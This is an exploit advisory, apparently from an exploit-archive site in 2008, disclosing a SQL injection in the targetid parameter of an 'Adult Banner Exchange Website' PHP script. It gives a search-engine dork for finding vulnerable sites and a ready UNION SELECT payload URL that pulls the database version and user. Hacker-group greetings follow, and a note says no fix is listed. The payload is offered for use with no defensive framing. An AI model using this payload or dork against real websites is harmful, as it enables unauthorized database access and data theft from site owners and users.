Adult Banner Exchange Website (targetid) SQL Injection Vulnerability

2008-10-31 23:01:06

|___________________________________________________
|
| Adult Banner Exchange Website (targetid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|-------------------- IQ-SecuritY -------------------
|
| Author: Hussin X
|
| Home : WwW.IQ-ty.CoM
|
| email: darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|
| script : http://www.ezonescripts.com/scripts/sls/adultbannerexchange.php
|
| DorK : inurl:"click.php?hostid="
|___________________________________________________


Exploit:

www.[target].com/Script/click.php?hostid=1&targetid=-1+union+select+1,version(),user(),4,5--




____________________________( Greetz )_________________________________________
|
| All members of the Forum IQ-SecuritY WwW.IQ-ty.CoM | AnD TrYaG WwW.TrYaG.CC
|
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
| Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab | G4N0K
|___________________________________________________________________________


Im IRAQi | Im TrYaGi

#

Fixes

No fixes

In order to submit a new fix you need to be registered.